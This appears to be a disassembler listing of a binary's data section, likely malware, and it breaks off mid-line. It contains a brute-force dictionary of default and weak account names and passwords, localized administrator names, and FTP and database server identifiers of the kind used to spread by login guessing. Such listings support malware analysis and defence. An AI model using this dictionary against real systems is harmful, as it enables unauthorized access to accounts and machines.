"Administrador'" dd offset aAdministratore ; "Administratore" dd offset aAdministratori ; "Administratori" dd offset aAdministration ; "Administration" dd offset aAdministrators ; "Administrators" dd offset aAdmin_1 ; "admin" dd offset aAdmin123 ; "admin123" dd offset aAccess ; "Access" dd offset aAdministrato_0 ; "administrator" dd offset dword_43DD3C dd offset dword_43DD2C dd offset aAdministracion ; "Administracion" dd offset aBeheerder ; "Beheerder" dd offset aRendszergazda ; "Rendszergazda" dd offset aVerwalter ; "Verwalter" dd offset aHallintovirk_0 ; "hallintovirkailijat" dd offset aAmministratore ; "Amministratore" dd offset aManager ; "manager" dd offset aContgenerale ; "Contgenerale" dd offset aDefault_0 ; "Default" dd offset aStandard ; "Standard" dd offset aUtilizador ; "Utilizador" dd offset aOwner ; "owner" dd offset aSystem_0 ; "SYSTEM" dd offset aThomas ; "thomas" dd offset aArsenal ; "arsenal" dd offset aMonkey ; "monkey" dd offset aCharlie ; "charlie" dd offset aAdm ; "adm" dd offset aAdmins ; "admins" dd offset aAdmin_0 ; "ADMIN" dd offset aAdmin1 ; "Admin1" dd offset aSudo ; "sudo" dd offset aLiverpool ; "liverpool" dd offset aBoss ; "BOSS" dd offset aDivx ; "DiVX" dd offset aDivxServer ; "DiVX-SERVER" dd offset off_43DA58 dd offset aDell ; "Dell" dd offset aCompaqblah ; "Compaqblah" dd offset aMaster ; "master" dd offset aMailserver ; "mailserver" dd offset aAspnet ; "aspnet" dd offset aAspnet69 ; "aspnet69" dd offset a31337 ; "31337" dd offset a01 ; "01" dd offset a02 ; "02" dd offset a03 ; "03" dd offset a04 ; "04" dd offset a05 ; "05" dd offset aBox ; "box" dd offset aBox1 ; "box1" dd offset aBox2 ; "box2" dd offset aBox3 ; "box3" dd offset aBox4 ; "box4" dd offset aBox5 ; "box5" dd offset dword_43AB88 dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxx_0 ; "xXx" dd offset a@_3 ; "!@#$" dd offset a@_2 ; "!@#$%" dd offset a@_1 ; "!@#$%^" dd offset a@_0 ; "!@#$%^&" dd offset a@ ; "!@#$%^&*" dd offset asc_43D8AC ; "%" dd offset asc_43D8A8 ; "%%" dd offset asc_43D8A4 ; "%%%" dd offset asc_43D89C ; "%%%%" dd offset asc_43D894 ; "%%%%%" dd offset dword_43A30C dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a007 ; "007" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a110 ; "110" dd offset a111 ; "111" dd offset a111 ; "111" dd offset a111111 ; "111111" dd offset a11111111 ; "11111111" dd offset a11111111 ; "11111111" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a88888888 ; "88888888" dd offset a31337 ; "31337" dd offset aPc01 ; "pc01" dd offset aPc02 ; "pc02" dd offset aPc03 ; "pc03" dd offset aPc04 ; "pc04" dd offset aPc05 ; "pc05" dd offset aBoss ; "BOSS" dd offset aAussie ; "aussie" dd offset dword_43DAAC dd offset off_43DAA8 dd offset aAaaa ; "AAAA" dd offset aAsdf ; "asdf" dd offset aAbcd ; "abcd" dd offset off_43D750 dd offset aAbc123 ; "abc123" dd offset aAbcd ; "abcd" dd offset aAccount? ; "account?" dd offset aAccounting ; "accounting" dd offset aAnything ; "anything" dd offset aApache ; "apache" dd offset aBillGates ; "bill gates" dd offset aBillgates ; "billgates" dd offset aChange ; "change" dd offset aChangethis ; "changethis" dd offset aChangeme ; "changeme" dd offset aChangeme_0 ; "changeme!" dd offset aCustomer ; "customer" dd offset aClient ; "Client" dd offset aClient01 ; "Client01" dd offset aClient02 ; "Client02" dd offset aClient03 ; "Client03" dd offset aClient04 ; "Client04" dd offset aClient05 ; "Client05" dd offset aClosed_0 ; "closed!" dd offset aClosed ; "closed" dd offset aDefaultpass ; "defaultpass" dd offset aDaemon_0 ; "daemon" dd offset aDatabase ; "database" dd offset aDatabasepasswo ; "databasepassword" dd offset aDave ; "dave" dd offset aDead ; "dead" dd offset aDesktop ; "desktop" dd offset aDb1234 ; "db1234" dd offset aDbpass ; "dbpass" dd offset aDefault_1 ; "default" dd offset aExploited ; "exploited" dd offset off_43D680 dd offset aSmbpass ; "smbpass" dd offset aDomainpassword ; "domainpassword" dd offset aE_0 ; "e" dd offset dword_43D664 dd offset off_43D660 dd offset aEducation ; "education" dd offset aFucked ; "fucked" dd offset aFuckyou ; "fuckyou" dd offset aGuess ; "guess" dd offset aGuessme ; "guessme" dd offset aGuest ; "guest" dd offset aHacked ; "hacked" dd offset aHax ; "hax" dd offset aLetmein ; "letmein" dd offset aL337 ; "l337" dd offset aL33t ; "l33t" dd offset aLinux ; "linux" dd offset aUnix ; "Unix" dd offset aLogin ; "login" dd offset aLocal ; "LOCAL" dd offset aLoginpass ; "loginpass" dd offset aMyvnc ; "myvnc" dd offset aMs_user ; "MS_USER" dd offset aMicrosoft ; "microsoft" dd offset aMachine ; "machine" dd offset aMs ; "MS" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aM_3 ; "M$" dd offset aMysql ; "mysql" dd offset aMssql ; "mssql" dd offset aMyvps ; "myvps" dd offset aMypc ; "mypc" dd offset aNull_1 ; "NULL" dd offset aOwn ; "own" dd offset aOwned ; "owned" dd offset aOwner ; "owner" dd offset aPass_1 ; "pass" dd offset aPass123 ; "pass123" dd offset aPass1234 ; "pass1234" dd offset aPasswd ; "passwd" dd offset aPassword ; "password" dd offset aPassword_0 ; "PASSWORD" dd offset aPassword_1 ; "Password" dd offset aPassword1 ; "password1" dd offset aPassword123 ; "password123" dd offset aPw ; "pw" dd offset aPw123 ; "pw123" dd offset off_43D508 dd offset aQ ; "q" dd offset aQaz ; "qaz" dd offset off_43D504 dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aBlink182 ; "blink182" dd offset aRdp ; "rdp" dd offset aR00t ; "r00t" dd offset aRemote ; "remote" dd offset aRoot ; "root" dd offset aRooted ; "rooted" dd offset aTest ; "Test" dd offset aTest123 ; "test123" dd offset aTester ; "tester" dd offset aTesting ; "testing" dd offset aTrojan ; "trojan" dd offset aUser1 ; "user1" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUserpass ; "userpass" dd offset aSa ; "sa" dd offset aSchool ; "school" dd offset aSecurity ; "security" dd offset aSupport ; "support" dd offset aSysadmin ; "sysadmin" dd offset aSecret ; "secret" dd offset aSecrets ; "secrets" dd offset aSlave ; "slave" dd offset aStudents ; "students" dd offset aServidor ; "Servidor" dd offset aServeur_0 ; "Serveur" dd offset aServer ; "Server" dd offset aSql ; "sql" dd offset aSqlpass ; "sqlpass" dd offset off_43D40C dd offset off_43D970 dd offset aVirus ; "virus" dd offset dword_43D400 dd offset off_43D3FC dd offset aWin2kpro ; "Win2KPro" dd offset aWindose ; "windose" dd offset aWindows ; "windows" dd offset aWindows2k ; "windows2k" dd offset aWindows95 ; "windows95" dd offset aWindows98 ; "windows98" dd offset aWindowsme ; "windowsME" dd offset aWindowsxp ; "WindowsXP" dd offset aWindoze ; "windoze" dd offset aWindoze2k ; "windoze2k" dd offset aWindoze95 ; "windoze95" dd offset aWindoze98 ; "windoze98" dd offset aWindozeme ; "windozeME" dd offset aWindozexp ; "windozexp" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinnt ; "winnt" dd offset aWinpass ; "winpass" dd offset aWinston ; "winston" dd offset aWinxp ; "winxp" dd offset aWired ; "wired" dd offset aWin ; "win" dd offset aWinxp ; "winxp" dd offset aWin2k ; "win2k" dd offset aWindows ; "windows" dd offset aWww ; "www" dd offset dword_43AB88 dd offset aY ; "y" dd offset aXp_0 ; "xp" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aXyzzy ; "xyzzy" dd offset aYouwontguessme ; "youwontguessme" dd offset aYxcv ; "yxcv" dd offset dword_43D2C4 dd offset off_43D2C0 dd offset aZxcv ; "zxcv" align 8 aZxcv db 'zxcv',0 ; DATA XREF: .text:0043D2B0o align 10h off_43D2C0 dd offset word_63787A ; DATA XREF: .text:0043D2ACo dword_43D2C4 dd 70617Ah aYxcv db 'yxcv',0 ; DATA XREF: .text:0043D2A4o align 10h aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .text:0043D2A0o align 10h aXyzzy db 'xyzzy',0 ; DATA XREF: .text:0043D29Co align 4 aXyz db 'xyz',0 ; DATA XREF: .text:0043D298o aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .text:0043D294o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .text:0043D290o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .text:0043D28Co aXxxxx db 'xxxxx',0 ; DATA XREF: .text:0043D284o align 4 aXx db 'xx',0 ; DATA XREF: .text:0043D278o align 4 aXp_0 db 'xp',0 ; DATA XREF: sub_40A9FE+8D06o ; sub_40A9FE+8E80o ... align 4 aWin2k db 'win2k',0 ; DATA XREF: .text:0043D260o align 4 aWin db 'win',0 ; DATA XREF: .text:0043D258o aWired db 'wired',0 ; DATA XREF: .text:0043D254o align 10h aWinxp db 'winxp',0 ; DATA XREF: .text:0043D250o ; .text:0043D25Co align 4 aWinston db 'winston',0 ; DATA XREF: .text:0043D24Co aWinpass db 'winpass',0 ; DATA XREF: .text:0043D248o aWinnt db 'winnt',0 ; DATA XREF: .text:0043D244o align 10h aWing db 'wing',0 ; DATA XREF: .text:0043D240o align 4 aWine db 'wine',0 ; DATA XREF: .text:0043D23Co align 10h aWindozexp db 'windozexp',0 ; DATA XREF: .text:0043D238o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .text:0043D234o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .text:0043D230o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .text:0043D22Co align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: .text:0043D228o align 4 aWindoze db 'windoze',0 ; DATA XREF: .text:0043D224o aWindowsxp db 'WindowsXP',0 ; DATA XREF: .text:0043D220o align 10h aWindowsme db 'windowsME',0 ; DATA XREF: .text:0043D21Co align 4 aWindows98 db 'windows98',0 ; DATA XREF: .text:0043D218o align 4 aWindows95 db 'windows95',0 ; DATA XREF: .text:0043D214o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .text:0043D210o align 10h aWindows db 'windows',0 ; DATA XREF: .text:0043D20Co ; .text:0043D264o aWindose db 'windose',0 ; DATA XREF: .text:0043D208o aWin2kpro db 'Win2KPro',0 ; DATA XREF: .text:0043D204o align 4 off_43D3FC dd offset word_636E66 ; DATA XREF: .text:0043D200o dword_43D400 dd 737076h aVirus db 'virus',0 ; DATA XREF: .text:0043D1F8o align 4 off_43D40C dd offset loc_415353+2 ; DATA XREF: .text:0043D1F0o aSqlpass db 'sqlpass',0 ; DATA XREF: .text:0043D1ECo aSql db 'sql',0 ; DATA XREF: .text:0043D1E8o aServeur_0 db 'Serveur',0 ; DATA XREF: .text:0043D1E0o aStudents db 'students',0 ; DATA XREF: .text:0043D1D8o align 10h aSlave db 'slave',0 ; DATA XREF: .text:0043D1D4o align 4 aSecrets db 'secrets',0 ; DATA XREF: .text:0043D1D0o aSecret db 'secret',0 ; DATA XREF: .text:0043D1CCo align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: .text:0043D1C8o align 4 aSupport db 'support',0 ; DATA XREF: .text:0043D1C4o aSecurity db 'security',0 ; DATA XREF: sub_40A9FE+BB2o ; sub_41EBE9+1Fo ... align 4 aSchool db 'school',0 ; DATA XREF: .text:0043D1BCo align 10h aSa db 'sa',0 ; DATA XREF: .text:0043D1B8o align 4 aUserpass db 'userpass',0 ; DATA XREF: .text:0043D1B4o align 10h aUsername db 'username',0 ; DATA XREF: .text:0043D1B0o align 4 aUsermane db 'usermane',0 ; DATA XREF: .text:0043D1ACo align 4 aUser1 db 'user1',0 ; DATA XREF: .text:0043D1A8o align 10h aTrojan db 'trojan',0 ; DATA XREF: .text:0043D1A4o align 4 aTesting db 'testing',0 ; DATA XREF: .text:0043D1A0o aTester db 'tester',0 ; DATA XREF: .text:0043D19Co align 4 aTest123 db 'test123',0 ; DATA XREF: .text:0043D198o aTest db 'Test',0 ; DATA XREF: .text:0043D194o align 4 aRooted db 'rooted',0 ; DATA XREF: .text:0043D190o align 10h aRemote db 'remote',0 ; DATA XREF: .text:0043D188o align 4 aR00t db 'r00t',0 ; DATA XREF: .text:0043D184o align 10h aBlink182 db 'blink182',0 ; DATA XREF: .text:0043D17Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .text:0043D178o ; .text:0043EE28o align 4 aQwert db 'qwert',0 ; DATA XREF: .text:0043D174o align 4 aQwer db 'qwer',0 ; DATA XREF: .text:0043D170o align 4 off_43D504 dd offset byte_657771 ; DATA XREF: .text:0043D16Co off_43D508 dd offset dword_647770 ; DATA XREF: .text:0043D160o aPw123 db 'pw123',0 ; DATA XREF: .text:0043D15Co align 4 aPw db 'pw',0 ; DATA XREF: .text:0043D158o align 4 aPassword123 db 'password123',0 ; DATA XREF: .text:0043D154o aPassword1 db 'password1',0 ; DATA XREF: .text:0043D150o align 10h aPassword_1 db 'Password',0 ; DATA XREF: .text:0043D14Co align 4 aPassword_0 db 'PASSWORD',0 ; DATA XREF: .text:0043D148o align 4 aPassword db 'password',0 ; DATA XREF: .text:0043D144o ; .text:0043EE04o align 4 aPasswd db 'passwd',0 ; DATA XREF: .text:0043D140o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .text:0043D13Co align 4 aPass123 db 'pass123',0 ; DATA XREF: .text:0043D138o aPass_1 db 'pass',0 ; DATA XREF: .text:0043D134o ; .text:0043EE20o align 4 aOwned db 'owned',0 ; DATA XREF: .text:0043D12Co align 10h aOwn db 'own',0 ; DATA XREF: .text:0043D128o aNull_1 db 'NULL',0 ; DATA XREF: .text:0043D124o align 4 aMyvps db 'myvps',0 ; DATA XREF: .text:0043D11Co align 4 aMssql db 'mssql',0 ; DATA XREF: .text:0043D118o align 4 aMysql db 'mysql',0 ; DATA XREF: .text:0043D114o align 4 aM_3 db 'M$',0 ; DATA XREF: sub_40541D+138o ; .text:0043D110o align 4 aMypc123 db 'mypc123',0 ; DATA XREF: .text:0043D10Co aMypc db 'mypc',0 ; DATA XREF: .text:0043D108o ; .text:0043D120o align 4 aMypass123 db 'mypass123',0 ; DATA XREF: .text:0043D104o align 4 aMypass db 'mypass',0 ; DATA XREF: .text:0043D100o align 4 aMs db 'MS',0 ; DATA XREF: .text:0043D0FCo align 10h aMachine db 'machine',0 ; DATA XREF: .text:0043D0F8o aMicrosoft db 'microsoft',0 ; DATA XREF: .text:0043D0F4o align 4 aMyvnc db 'myvnc',0 ; DATA XREF: .text:0043D0ECo align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .text:0043D0E8o align 4 aLocal db 'LOCAL',0 ; DATA XREF: .text:0043D0E4o align 10h aLogin db 'login',0 ; DATA XREF: .text:0043D0E0o align 4 aUnix db 'Unix',0 ; DATA XREF: .text:0043D0DCo align 10h aL33t db 'l33t',0 ; DATA XREF: .text:0043D0D4o align 4 aL337 db 'l337',0 ; DATA XREF: .text:0043D0D0o align 10h aLetmein db 'letmein',0 ; DATA XREF: .text:0043D0CCo ; .text:0043EDF4o aHax db 'hax',0 ; DATA XREF: .text:0043D0C8o aHacked db 'hacked',0 ; DATA XREF: .text:0043D0C4o align 4 aGuessme db 'guessme',0 ; DATA XREF: .text:0043D0BCo aGuess db 'guess',0 ; DATA XREF: .text:0043D0B8o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .text:0043D0B4o aFucked db 'fucked',0 ; DATA XREF: .text:0043D0B0o align 4 aEducation db 'education',0 ; DATA XREF: .text:0043D0ACo align 10h off_43D660 dd offset byte_554445 ; DATA XREF: .text:0043D0A8o dword_43D664 dd 2Ah ; sub_40A9FE+121Ao ... aDomainpassword db 'domainpassword',0 ; DATA XREF: .text:0043D09Co align 4 aSmbpass db 'smbpass',0 ; DATA XREF: .text:0043D098o off_43D680 dd offset byte_626D73 ; DATA XREF: .text:0043D094o aDbpass db 'dbpass',0 ; DATA XREF: .text:0043D088o align 4 aDb1234 db 'db1234',0 ; DATA XREF: .text:0043D084o align 4 aDesktop db 'desktop',0 ; DATA XREF: .text:0043D080o aDead db 'dead',0 ; DATA XREF: .text:0043D07Co align 4 aDave db 'dave',0 ; DATA XREF: .text:0043D078o align 4 aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .text:0043D074o align 10h aDatabase db 'database',0 ; DATA XREF: .text:0043D070o align 4 aDaemon_0 db 'daemon',0 ; DATA XREF: .text:0043D06Co align 4 aDefaultpass db 'defaultpass',0 ; DATA XREF: .text:0043D068o aClosed db 'closed',0 ; DATA XREF: .text:0043D064o align 4 aClosed_0 db 'closed!',0 ; DATA XREF: .text:0043D060o aCustomer db 'customer',0 ; DATA XREF: .text:0043D044o align 4 aChangeme_0 db 'changeme!',0 ; DATA XREF: .text:0043D040o align 4 aChangeme db 'changeme',0 ; DATA XREF: .text:0043D03Co align 4 aChangethis db 'changethis',0 ; DATA XREF: .text:0043D038o align 10h aChange db 'change',0 ; DATA XREF: .text:0043D034o align 4 aApache db 'apache',0 ; DATA XREF: .text:0043D028o align 10h aAnything db 'anything',0 ; DATA XREF: .text:0043D024o align 4 aAccount? db 'account?',0 ; DATA XREF: .text:0043D01Co align 4 aAbc123 db 'abc123',0 ; DATA XREF: .text:0043D014o ; .text:0043EE34o align 10h off_43D750 dd offset byte_636261 ; DATA XREF: .text:0043D010o aAbcd db 'abcd',0 ; DATA XREF: .text:0043D00Co ; .text:0043D018o align 4 aAsdf db 'asdf',0 ; DATA XREF: .text:0043D008o align 4 aAaaa db 'AAAA',0 ; DATA XREF: .text:0043D004o align 4 aAussie db 'aussie',0 ; DATA XREF: .text:0043CFF8o align 4 a88888888 db '88888888',0 ; DATA XREF: .text:0043CFD8o align 10h a654321 db '654321',0 ; DATA XREF: .text:0043CFD4o ; .text:0043EE30o align 4 a54321 db '54321',0 ; DATA XREF: .text:0043CFD0o align 10h a123qwe db '123qwe',0 ; DATA XREF: .text:0043CFCCo align 4 a123asd db '123asd',0 ; DATA XREF: .text:0043CFC8o align 10h a123abc db '123abc',0 ; DATA XREF: .text:0043CFC4o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .text:0043CFC0o align 4 a123467890 db '123467890',0 ; DATA XREF: .text:0043CFBCo align 10h a12346789 db '12346789',0 ; DATA XREF: .text:0043CFB8o align 4 a1234678 db '1234678',0 ; DATA XREF: .text:0043CFB4o a123467 db '123467',0 ; DATA XREF: .text:0043CFB0o align 4 a12346 db '12346',0 ; DATA XREF: .text:0043CFACo align 4 a123456789 db '123456789',0 ; DATA XREF: .text:0043CFA8o align 10h a12345678 db '12345678',0 ; DATA XREF: .text:0043CFA4o ; .text:0043EE2Co align 4 a1234567 db '1234567',0 ; DATA XREF: .text:0043CFA0o ; .text:0043EE00o a123456 db '123456',0 ; DATA XREF: .text:0043CF9Co ; .text:0043EE0Co align 4 a12345 db '12345',0 ; DATA XREF: .text:0043CF98o ; .text:0043EE08o align 4 a1234 db '1234',0 ; DATA XREF: .text:0043CF94o ; .text:0043EDF0o align 4 a123123 db '123123',0 ; DATA XREF: .text:0043CF90o align 4 a123 db '123',0 ; DATA XREF: .text:0043CF8Co ; .text:0043EDECo a121212 db '121212',0 ; DATA XREF: .text:0043CF88o align 10h a121 db '121',0 ; DATA XREF: .text:0043CF84o a12 db '12',0 ; DATA XREF: .text:0043CF80o align 4 a11111111 db '11111111',0 ; DATA XREF: .text:0043CF78o ; .text:0043CF7Co align 4 a111111 db '111111',0 ; DATA XREF: .text:0043CF74o align 4 a111 db '111',0 ; DATA XREF: .text:0043CF6Co ; .text:0043CF70o a110 db '110',0 ; DATA XREF: .text:0043CF68o a0wned db '0wned',0 ; DATA XREF: .text:0043CF60o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .text:0043CF5Co align 4 a007 db '007',0 ; DATA XREF: .text:0043CF58o a00000000 db '00000000',0 ; DATA XREF: .text:0043CF54o align 4 a000000 db '000000',0 ; DATA XREF: .text:0043CF50o align 4 a00000 db '00000',0 ; DATA XREF: .text:0043CF4Co align 4 a0000 db '0000',0 ; DATA XREF: .text:0043CF48o align 4 a000 db '000',0 ; DATA XREF: .text:0043CF44o a00 db '00',0 ; DATA XREF: .text:0043CF40o align 4 asc_43D894 db '%%%%%',0 ; DATA XREF: .text:0043CF38o align 4 asc_43D89C db '%%%%',0 ; DATA XREF: .text:0043CF34o align 4 asc_43D8A4 db '%%%',0 ; DATA XREF: .text:0043CF30o asc_43D8A8 db '%%',0 ; DATA XREF: .text:0043CF2Co align 4 asc_43D8AC: ; DATA XREF: .text:0043CF28o unicode 0, <%>,0 a@ db '!@#$%^&*',0 ; DATA XREF: .text:0043CF24o align 4 aXxx_0 db 'xXx',0 ; DATA XREF: .text:0043CF10o aXxxx db 'xxxx',0 ; DATA XREF: .text:0043CF0Co ; .text:0043D280o align 4 aXxx db 'xxx',0 ; DATA XREF: .text:0043CF08o ; .text:0043D27Co aAspnet69 db 'aspnet69',0 ; DATA XREF: .text:0043CED0o align 4 aAspnet db 'aspnet',0 ; DATA XREF: .text:0043CECCo align 10h aMailserver db 'mailserver',0 ; DATA XREF: .text:0043CEC8o align 4 aCompaqblah db 'Compaqblah',0 ; DATA XREF: .text:0043CEC0o align 4 aHallintovirk_0 db 'hallintovirkailijat',0 ; DATA XREF: .text:0043CE60o aAdministrato_0 db 'administrator',0 ; DATA XREF: .text:0043CE44o align 4 aAccess db 'Access',0 ; DATA XREF: .text:0043CE40o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .text:0043CE3Co align 10h aAdmin_1 db 'admin',0 ; DATA XREF: .text:0043CE38o ; .text:0043EDF8o align 4 asc_43D938: ; DATA XREF: .text:0041A188o ; sub_424B0B+1C5o ... unicode 0, < >,0 aY: ; DATA XREF: .text:0043CDF8o ; .text:0043D270o ... unicode 0, <y>,0 asc_43D940: ; DATA XREF: .text:0043CDF4o ; .text:0044F3D4o ... unicode 0, <X>,0 aWebserver db 'webserver',0 ; DATA XREF: .text:0043CDF0o align 10h aWww db 'www',0 ; DATA XREF: .text:0043CDECo ; .text:0043D268o dword_43D954 dd 6C6C754Bh, 63FD6E61h, 0FDhaFormationplus db 'FormationPLUS',0 ; DATA XREF: .text:0043CDE4o align 10h off_43D970 dd offset word_636E76 ; DATA XREF: .text:0043CDE0o ; .text:0043D1F4o ... aBoss db 'BOSS',0 ; DATA XREF: .text:0043CDDCo ; .text:0043CEACo ... align 4 aPc05 db 'pc05',0 ; DATA XREF: .text:0043CDD8o ; .text:0043CFF0o align 4 aPc04 db 'pc04',0 ; DATA XREF: .text:0043CDD4o ; .text:0043CFECo align 4 aPc03 db 'pc03',0 ; DATA XREF: .text:0043CDD0o ; .text:0043CFE8o align 4 aPc02 db 'pc02',0 ; DATA XREF: .text:0043CDCCo ; .text:0043CFE4o align 4 aPc01 db 'pc01',0 ; DATA XREF: .text:0043CDC8o ; .text:0043CFE0o align 4 aProfessional db 'Professional',0 ; DATA XREF: .text:0043CDC4o align 4 aServUFtp db 'Serv-U FTP',0 ; DATA XREF: .text:0043CDC0o align 10h aServU db 'serv-u',0 ; DATA XREF: .text:0043CDBCo align 4 aSlimftp db 'slimftp',0 ; DATA XREF: .text:0043CDB8o aLighthttpd db 'lightHTTPD',0 ; DATA XREF: .text:0043CDB4o align 4 aWarftpd db 'warftpd',0 ; DATA XREF: .text:0043CDB0o aFtpd db 'ftpd',0 ; DATA XREF: .text:0043CDACo align 4 aProftpd db 'proftpd',0 ; DATA XREF: .text:0043CDA8o aAccounting db 'accounting',0 ; DATA XREF: .text:0043CDA4o ; .text:0043D020o align 10h aAccount db 'account',0 ; DATA XREF: .text:0043CDA0o aAccess_0 db 'access',0 align 10h aServeurFtp db 'serveur ftp',0 aMichelle db 'michelle',0 align 4 aMyftp db 'myftp',0 align 10h aMybox db 'mybox',0 align 4 aMsumer db 'msumer',0 align 10h aCompaqsecret db 'Compaqsecret',0 align 10h aDell db 'Dell',0 ; DATA XREF: .text:0043CEBCo align 4 off_43DA58 dd offset byte_4D4249 ; DATA XREF: .text:0043CEB8o aAcer db 'Acer',0 align 4 aM_4 db 'm$',0 align 4 dd offset loc_435048+1 dd offset loc_424D53 aMs_user db 'MS_USER',0 ; DATA XREF: .text:0043D0F0o aSmbuser db 'SMBUSER',0 aFv db 'fv',0 align 4 aBillgates db 'billgates',0 ; DATA XREF: .text:0043D030o align 10h aUsers db 'users',0 align 4 aQaz db 'qaz',0 ; DATA XREF: .text:0043D168o a1: ; DATA XREF: .text:0043CF64o unicode 0, <1>,0 aQ: ; DATA XREF: .text:0043D164o ; .text:off_44F320o ... unicode 0, <q>,0 aE_0: ; DATA XREF: .text:0043D0A0o ; .text:0044F328o ... unicode 0, <e>,0 off_43DAA8 dd offset byte_616161 ; DATA XREF: .text:0043D000o dword_43DAAC dd 61h ; .text:0043CFFCo ... aLinux db 'linux',0 ; DATA XREF: .text:0043D0D8o align 4 aUnix_0 db 'unix',0 align 10h a@_0 db '!@#$%^&',0 ; DATA XREF: .text:0043CF20o a@_1 db '!@#$%^',0 ; DATA XREF: .text:0043CF1Co align 10h a@_2 db '!@#$%',0 ; DATA XREF: .text:0043CF18o align 4 a@_3 db '!@#$',0 ; DATA XREF: .text:0043CD24o ; .text:0043CF14o align 10h a@_4 db '!@#',0 ; DATA XREF: .text:0043CD20o a@_5 db '!@',0 ; DATA XREF: .text:0043CD1Co align 4 a31337 db '31337',0 ; DATA XREF: .text:0043CD18o ; .text:0043CED4o ... align 10h aGuest db 'guest',0 ; DATA XREF: .text:0043CD14o ; .text:0043D0C0o align 4 aBox5 db 'box5',0 ; DATA XREF: .text:0043CD10o ; .text:0043CF00o align 10h aBox4 db 'box4',0 ; DATA XREF: .text:0043CD0Co ; .text:0043CEFCo align 4 aBox3 db 'box3',0 ; DATA XREF: .text:0043CD08o ; .text:0043CEF8o align 10h aBox2 db 'box2',0 ; DATA XREF: .text:0043CD04o ; .text:0043CEF4o align 4 aBox1 db 'box1',0 ; DATA XREF: .text:0043CD00o ; .text:0043CEF0o align 10h aBox db 'box',0 ; DATA XREF: .text:0043CCFCo ; .text:0043CEECo aSudo db 'sudo',0 ; DATA XREF: .text:0043CCF8o ; .text:0043CEA4o align 4 aGameserver db 'gameserver',0 ; DATA XREF: .text:0043CCF4o align 4 aGameServer db 'game server',0 ; DATA XREF: .text:0043CCF0o off_43DB44 dd offset dword_4F2D48 ; DATA XREF: .text:0043CCECo dword_43DB48 dd 5244h aExploited db 'exploited',0 ; DATA XREF: .text:0043CCE4o ; .text:0043D090o align 4 aDivxServer db 'DiVX-SERVER',0 ; DATA XREF: .text:0043CCE0o ; .text:0043CEB4o aDivx db 'DiVX',0 ; DATA XREF: .text:0043CCDCo ; .text:0043CEB0o align 4 aBillGates db 'bill gates',0 ; DATA XREF: .text:0043CCD8o ; .text:0043D02Co align 4 aClient05 db 'Client05',0 ; DATA XREF: .text:0043CCD4o ; .text:0043D05Co align 4 aClient04 db 'Client04',0 ; DATA XREF: .text:0043CCD0o ; .text:0043D058o align 10h aClient03 db 'Client03',0 ; DATA XREF: .text:0043CCCCo ; .text:0043D054o align 4 aClient02 db 'Client02',0 ; DATA XREF: .text:0043CCC8o ; .text:0043D050o align 4 aClient01 db 'Client01',0 ; DATA XREF: .text:0043CCC4o ; .text:0043D04Co align 4 aClient db 'Client',0 ; DATA XREF: .text:0043CCC0o ; .text:0043D048o align 4 aBlah db 'blah',0 ; DATA XREF: .text:0043CCBCo align 4 a05 db '05',0 ; DATA XREF: .text:0043CCB8o ; .text:0043CEE8o align 4 a04 db '04',0 ; DATA XREF: .text:0043CCB4o ; .text:0043CEE4o align 4 a03 db '03',0 ; DATA XREF: .text:0043CCB0o ; .text:0043CEE0o align 10h a02 db '02',0 ; DATA XREF: .text:0043CCACo ; .text:0043CEDCo align 4 a01 db '01',0 ; DATA XREF: .text:0043CCA8o ; .text:0043CED8o align 4 aAsp_net db 'ASP.NET',0 ; DATA XREF: .text:0043CCA4o aRdp db 'rdp',0 ; DATA XREF: .text:0043CCA0o ; .text:0043D180o aLuna db 'luna',0 ; DATA XREF: .text:0043CC9Co align 4 aLiverpool db 'liverpool',0 ; DATA XREF: .text:0043CC98o ; .text:0043CEA8o align 4 aCharlie db 'charlie',0 ; DATA XREF: .text:0043CC94o ; .text:0043CE90o ... aMonkey db 'monkey',0 ; DATA XREF: .text:0043CC90o ; .text:0043CE8Co ... align 4 aArsenal db 